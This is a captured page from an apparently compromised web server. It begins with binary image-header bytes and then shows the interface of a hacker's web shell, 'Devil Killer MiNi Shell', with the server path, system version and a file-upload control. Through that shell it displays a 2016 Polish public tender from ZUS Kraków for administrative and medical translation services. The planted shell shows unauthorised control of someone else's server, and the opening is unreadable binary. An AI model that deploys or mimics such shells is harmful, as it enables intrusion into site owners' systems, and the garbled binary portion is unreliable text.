JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20161124/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20161124/350717-N-2016.html

<BR/><p>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia (jeżeli dotyczy):  </p><a class='base announcementNumber' href='www.zus.pl' target='_blank'>www.zus.pl</a><br/><hr class='linkedItemsSeparator' /><div class="divRow_xforms"><div>
              Ogłoszenie nr 350717 - 2016
              z dnia 2016-11-24 r.
            </div><div class="headerMedium_xforms" style="text-align: center">Kraków: Usługi tłumaczenia dokumentacji administracyjnej i medycznej na potrzeby Oddziałów ZUS w Krakowie, Nowym Sączu i Tarnowie<br />
            OGŁOSZENIE O ZAMÓWIENIU -
            
              Usługi
            </div><div><b>Zamieszczanie ogłoszenia:</b>
              obowiązkowe
            </div><div><b>Ogłoszenie dotyczy:</b>
              zamówienia publicznego
            </div><div><b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b><br /><div style="padding-left: 20px">
                nie
              </div><br /><b>Nazwa projektu lub programu</b><br /></div><div><b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje  społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b><br /><div style="padding-left: 20px">
                nie
              </div><br />
            Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %)
            <br /></div><div class="headerLarge_xforms" style="text-align: left"><u>SEKCJA I: ZAMAWIAJĄCY</u></div><div style="padding-left: 20px"><b>Postępowanie przeprowadza centralny zamawiający </b><br /><div style="padding-left: 20px">
                nie
              </div><b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b><br /><div style="padding-left: 20px">
                nie
              </div><b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b><br /><b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b><br /><div style="padding-left: 20px">
                nie
              </div><br />
            Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów:
            <br /><br /><b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b><br /><div style="padding-left: 20px">
                nie
              </div><b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej  mające zastosowanie krajowe prawo zamówień publicznych:</b><br /><b>Informacje dodatkowe:</b><br /></div><div style="padding-left: 20px;"><div style="text-align: left"><b>I. 1) NAZWA I ADRES: </b>Zakład Ubezpieczeń Społecznych Oddział w Krakowie, krajowy numer identyfikacyjny
              1775600395, ul.
              ul. Pędzichów 
              27,
              31080  
              Kraków, woj.
              małopolskie, państwo
              Polska, tel.
              12 424 61 27, 4246500, e-mail
              , faks
              12 424 61 47, 6345719.
              <br />
              Adres strony internetowej (URL): www.zus.pl<br /><br /></div><div style="text-align: left"><b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b>
                Inny: Zakład Ubezpieczeń Społecznych</div><div style="text-align: left"><b>
                I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>:
              </b><div style="padding-left: 20px">
                Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym
                w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających):
                <br /></div></div><div style="text-align: left"><b>
                I.4) KOMUNIKACJA:
              </b><br /><b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b><div style="padding-left: 20px">
                  nie
                <br /></div><br /><b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b><div style="padding-left: 20px">
                  tak
                <br />www.zus.pl</div><br /><b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b><div style="padding-left: 20px">
                  nie
                <br /></div><br /><b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b><br /><b>Elektronicznie</b><div style="padding-left: 20px">
                  nie
                <br />
                adres
                <br /></div><br /><div style="padding-left: 20px"><b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b><br />
                  nie
                <br /><b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b><br />
                  tak
                  <br />
                  Inny sposób:
                  <br /><br />
                Adres:
                <br />ul. Pedzichów 27, 31-080 Kraków, Centrum Zamowień Publicznych pok 127</div><br /><b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b><div style="padding-left: 20px">
                  nie
                <br />
                Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL)
                <br /></div></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA II: PRZEDMIOT ZAMÓWIENIA
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><br /><b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b>Usługi tłumaczenia dokumentacji administracyjnej i medycznej na potrzeby Oddziałów ZUS w Krakowie, Nowym Sączu i Tarnowie<br /><b>Numer referencyjny: </b>18000/271/14/2016-CZP<br /><b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b><br /><div style="padding-left: 20px; text-align: justify">
                  nie
                </div><br /><b>II.2) Rodzaj zamówienia: </b>
                usługi
              <br /><b>II.3) Informacja o możliwości składania ofert częściowych</b><br />
              Zamówienie podzielone jest na części:
              <br /><div style="padding-left: 20px">
                  Tak
                  <br /><b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu można składać w odniesieniu do:</b><br />
                    wszystkich części
                  <br /></div><b>Zamawiający zastrzega sobie prawo do udzielenia łącznie następujących części lub grup części:</b><br />3<br /><b>Maksymalna liczba części zamówienia, na które może zostać udzielone zamówienie jednemu wykonawcy:</b><br />3<br /><br /><br /><b>
                II.4) Krótki opis przedmiotu zamówienia
              </b><i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:
              </b>Przedmiotem zamówienia jest świadczenie usług polegających na sporządzaniu pisemnych tłumaczeń językowych dokumentacji administracyjnej i medycznej na potrzeby Oddziału ZUS w Krakowie, Nowym Sączu i Tarnowie w okresie 24 miesięcy, począwszy od dnia 02 stycznia 2017 r.

Przedmiot zamówienia został podzielony na trzy części:

Część I  ,,Usługi tłumaczenia dokumentacji administracyjnej i medycznej na potrzeby O/ZUS Kraków
Część II  ,,Usługi tłumaczenia dokumentacji administracyjnej i medycznej na potrzeby O/ZUS Nowy Sącz
Część III  ,,Usługi tłumaczenia dokumentacji administracyjnej i medycznej na potrzeby O/ZUS Tarnów
Szacunkowa ilość stron do tłumaczenia przewidziana na: I grupę językową -  ok 7037 stron, II grupa językowa - ok 8070 stron, III grupa językowa - ok 10 stron, IV grupa językowa - ok 32 stron 
 

<br /><br /><b>II.5) Główny kod CPV: </b>79530000-8<br /><br /><b>
                II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>:
              
              <br />
              Wartość bez VAT:
              328120.33<br />
              Waluta:
              <br /><div style="padding-left: 20px">PLN<br /><i>(w przypadku umów ramowych lub dynamicznego systemu zakupów  szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i></div><br /><b>
                II.7)
                Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7  lub w art. 134 ust. 6 pkt 3  ustawy Pzp:
              </b>
                nie
              <br /><b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b><div style="padding-left: 20px">
                    data rozpoczęcia: 02/01/2017
                    data zakończenia: 31/12/2018<br /></div><br /><b>II.9) Informacje dodatkowe: </b>Przedmiotem zamówienia są usługi tłumaczeń pisemnych z języków obcych na język polski i z języka polskiego na języki obce w zakresie dokumentacji administracyjnej i medycznej na potrzeby Oddziału ZUS w Krakowie, Nowym Sączu i Tarnowie 
Zamawiający wymaga, aby przedmiot zamówienia wykonywany był przez tłumaczy lub inne osoby wykonujące zawód tłumacza, posiadające uprawnienia, kwalifikacje zawodowe, tj. osoby posiadające dokumenty potwierdzające przygotowanie zawodowe do wykonywania czynności tłumaczenia dokumentacji, np. zaświadczenie o wpisie na listę tłumaczy przysięgłych lub  dyplom ukończenia studiów magisterskich na kierunku filologia, lub ukończone studia magisterskie na innym kierunku i studia podyplomowe w zakresie tłumaczenia  odpowiednio dla danego języka. 
</div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><b>
                III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU
              </b><br /><div style="padding-left: 20px"><b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b><br />
                Określenie warunków:
                Zamawiający uzna warunek za spełniony, jeżeli Wykonawca potwierdzi spełnienie tego warunku poprzez złożenie oświadczenia (zał. nr 2 do SIWZ)<br />
                Informacje dodatkowe
                <br /><b>III.1.2)  Sytuacja finansowa lub ekonomiczna  </b><br />
                Określenie warunków:
                Określenie warunków: Zamawiający uzna warunek za spełniony, jeżeli Wykonawca wykaże, że wykonał lub wykonuje należycie w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej jedną usługę polegającą na sporządzaniu tłumaczeń pisemnych dokumentacji administracyjnej i/lub medycznej z języków obcych na język polski i/lub z języka polskiego na języki obce w zakresie I i/lub II grupy językowej, o wartości nie mniejszej niż:
a) 30 000,00 zł. brutto  Część I (Oddział ZUS w Krakowie)
b) 30 000,00 zł. brutto  Część II (Oddział ZUS w Nowym Sączu)
c) 30 000,00 zł. brutto  Część III (Oddział ZUS w Tarnowie)
na podstawie złożonego Wykazu usług, wg zał. nr 6 do SIWZ wraz z dowodem/dowodami, że usługę wykonano/jest wykonywana należycie).
<br />
                Informacje dodatkowe
                <br /><b>III.1.3) Zdolność techniczna lub zawodowa </b><br />
                Określenie warunków:
                Zamawiający uzna warunek za spełniony, jeżeli Wykonawca do realizacji przedmiotu  zamówienia   skieruje tłumaczy pisemnych odznaczających się  umiejętnościami i doświadczeniem w zakresie tłumaczeń dokumentacji administracyjnej i/lub medycznej<br />
                Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób:
                
                  tak
                <br />
                Informacje dodatkowe:
                </div><b>
                III.2) PODSTAWY WYKLUCZENIA
              </b><br /><div style="padding-left: 20px"><b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1  ustawy Pzp</b><br /><b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b>
                  tak
                  <br />
                  Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia:
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 1 ustawy Pzp)
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 8 ustawy Pzp)
                <br /></div><b>
                III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI
              </b><br /><div style="padding-left: 20px"><b>
                  Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu
                </b><br />
                  tak
                <br /><b>
                  Oświadczenie o spełnianiu kryteriów selekcji
                </b><br />
                  nie
                </div><b>
                III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP:
              </b><br /><div style="padding-left: 20px">nie dotyczy</div><b>
                III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP
              </b><br /><div style="padding-left: 20px"><b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b><br />1. Oświadczenia w zakresie wskazanym w załącznikach 2 i 3 do SIWZ. Informacje zawarte w oświadczeniach będą stanowić potwierdzenie, że Wykonawca nie podlega wykluczeniu oraz spełnia warunki udziału w postępowaniu. 
2. oświadczenie o przynależności lub braku przynależności do tej samej grupy kapitałowej, o której mowa w art. 24 ust. 1 pkt 23 ustawy Pzp. Wraz ze złożeniem oświadczenia, Wykonawca może przedstawić dowody, że powiązania z innym Wykonawcą nie prowadzą do zakłócenia konkurencji w postępowaniu o udzielenie zamówienia (zał. nr 4 lub 5 do SIWZ). 
3. Wykaz usług wykonanych lub wykonywanych w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy  w tym okresie, tj. wykazana co najmniej jedną usługę polegającą na sporządzaniu tłumaczeń pisemnych dokumentacji administracyjnej i/lub medycznej z języków obcych na język polski i/lub z języka polskiego na języki obce w zakresie I i/lub II grupy językowej, przez okres co najmniej 12 miesięcy, o wartości nie mniejszej niż:

a) 30 000,00 zł. brutto  Część I (Oddział ZUS w Krakowie)
b) 30 000,00 zł. brutto  Część II (Oddział ZUS w Nowym Sączu)
c) 30 000,00 zł. brutto  Część III (Oddział ZUS w Tarnowie) 
z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane/są wykonywane, wg zał. nr 6 do SIWZ wraz z załączeniem dowodów*), czy zostały wykonane lub są wykonywane należycie;
*) 	dowodami potwierdzającymi, że usługi wymienione w zał. nr 6 do SIWZ pn. ,,Wykaz usług zostały wykonane lub są wykonywane należycie są:
-	poświadczenie, z tym że w odniesieniu do nadal wykonywanych usług, poświadczenie powinno być wydane nie wcześniej niż na 3 miesiące przed upływem terminu składania ofert albo 
-	oświadczenie Wykonawcy  jeżeli z uzasadnionych przyczyn o obiektywnym charakterze Wykonawca nie jest w stanie uzyskać poświadczenia, o którym mowa powyżej;

W przypadku, gdy Zamawiający jest podmiotem na rzecz którego usługi wskazane w zał. nr 6 do SIWZ
 pn. ,,Wykaz usług zostały wcześniej wykonane, Wykonawca nie ma obowiązku przedkładania ww. dowodów.
4.	wykaz osób (tłumaczy), skierowanych przez Wykonawcę do realizacji przedmiotowego zamówienia wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia, niezbędnych do wykonania zamówienia;
5.	aktualny odpis z właściwego rejestru lub z Centralnej Ewidencji i Informacji o Działalności Gospodarczej wykazujący brak podstaw do wykluczenia Wykonawcy w oparciu o art. 24 ust. 1 pkt 13,14 i 21 ustawy Pzp, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert;
6.	zaświadczenie z właściwej terenowej jednostki organizacyjnej Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia albo innego dokumentu potwierdzającego, że wykonawca nie zalega z opłaceniem składek i na ubezpieczenie społeczne lub zdrowotne, wystawionego nie wcześniej niż 3 miesiące przed upływem składania ofert.
7.	zaświadczenie z właściwego naczelnika urzędu skarbowego potwierdzającego, że wykonawca nie zalega z opłaceniem podatków, wystawionego nie wcześniej niż 3 miesiące przed upływem składania ofert.

<br /><b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b><br />nie dotyczy</div><b>
                III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP
              </b><br /><div style="padding-left: 20px"></div><b>
                III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6)
              </b><div style="padding-left: 20px">formularz ofertowy, wg załącznika nr 1A  CZĘŚĆ I, 1B  CZĘŚĆ II, 1C  CZĘŚĆ III do SIWZ;
2)pełnomocnictwo (oryginał lub kserokopia potwierdzona notarialnie) określające zakres umocowania dla osoby/osób podpisujących ofertę  jeżeli umocowanie takie nie wynika z dokumentów rejestracyjnych. Pełnomocnictwo winno jednoznacznie wskazywać osobę pełnomocnika poprzez podanie jego podstawowych danych identyfikacyjnych;
3)	pełnomocnictwo do reprezentowania w postępowaniu/zawarcia umowy dla pełnomocnika reprezentującego Wykonawców wspólnie ubiegających się o udzielenie zamówienia w rozumieniu art. 23 ustawy Pzp 
4)  potwierdzenie wniesienia wadium. 
</div></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA IV: PROCEDURA
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><b>IV.1) OPIS </b><br /><b>IV.1.1) Tryb udzielenia zamówienia: </b>
                przetarg nieograniczony
              <br /><b>IV.1.2) Zamawiający żąda wniesienia wadium:</b><div style="padding-left: 20px">
                  tak,
                  <br />
                  Informacja na temat wadium
                  <br />Zamawiający wymaga wniesienia wadium w wysokości:
Część I (Oddział ZUS w Krakowie) - 2 500,00 (PLN)
Część II (Oddział ZUS w Nowym Sączu)- 3 800,00 (PLN)
Część III (Oddział ZUS w Tarnowie)- 3 300,00 (PLN)
</div><br /><b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b><div style="padding-left: 20px">
                  nie
                </div><br /><b>
                IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych:
              </b><div style="padding-left: 20px">
                  nie
                <br />
                Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /></div><br /><b>
                IV.1.5.) Wymaga się złożenia oferty wariantowej:
              </b><div style="padding-left: 20px">
                  nie
                <br />
                Dopuszcza się złożenie oferty wariantowej
                <br />
                  nie
                <br />
                Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej:
                <br />
                  nie
                </div><br /><b>
                IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu
              </b><br /><i>
                (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne)
              </i><div style="padding-left: 20px">
                Liczba wykonawców  <br />
                Przewidywana minimalna liczba wykonawców  <br />
                Maksymalna liczba wykonawców  <br />
                Kryteria selekcji wykonawców:
                <br /></div><br /><b>
                IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów:
              </b><div style="padding-left: 20px">
                Umowa ramowa będzie zawarta:
                <br /><br />
                Czy przewiduje się ograniczenie liczby uczestników umowy ramowej:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /><br />
                Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /><br />
                W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych:
                <br />
                  nie
                <br />
                Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów:
                <br />
                  nie
                </div><br /><b>IV.1.8) Aukcja elektroniczna </b><br /><b>
                Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i>
                nie
              <br /><b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b><br /><b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b><br />
                nie
              <br />

              
                Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie  termin ich udostępnienia:
              
              <br />
              Informacje dotyczące przebiegu aukcji elektronicznej: 
              <br />
              Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): 
              <br />
              Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń:
              <br />
              Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: 
              <br />


              Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: 
              <div style="padding-left: 20px">
                  Aukcja wieloetapowa
                  <table><tr><td>etap nr</td><td>czas trwania etapu</td></tr><tr><td></td><td></td></tr></table><br />
                Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu:
                
                  nie
                <br />
                Warunki zamknięcia aukcji elektronicznej:
                <br /></div><br /><b>IV.2) KRYTERIA OCENY OFERT </b><br /><b>IV.2.1) Kryteria oceny ofert: </b><br /><b>IV.2.2) Kryteria</b><br /><div style="padding-left: 20px"><table><tr><td><i>Kryteria</i></td><td><i>Znaczenie</i></td></tr><tr><td>cena</td><td>60</td></tr><tr><td>termin wykonania tłumaczenia</td><td>40</td></tr></table></div><br /><b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony)
              <br />
                tak
              <br /><b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b><br /><b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b><br />
              Minimalne wymagania, które muszą spełniać wszystkie oferty:
              <br /><br />
              Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji
              
                nie
              <br />
              Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert:
              
                nie
              <br />
              Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów):
              <br /><br />
              Informacje dodatkowe
              <br /><br /><br /><b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b><br />
              Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu:
              <br /><br />
              Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody:
              <br /><br />
              Wstępny harmonogram postępowania:
              <br /><br />
              Podział dialogu na etapy w celu ograniczenia liczby rozwiązań:
              
                nie
              <br />
              Należy podać informacje na temat etapów dialogu:
              <br /><br /><br />
              Informacje dodatkowe:
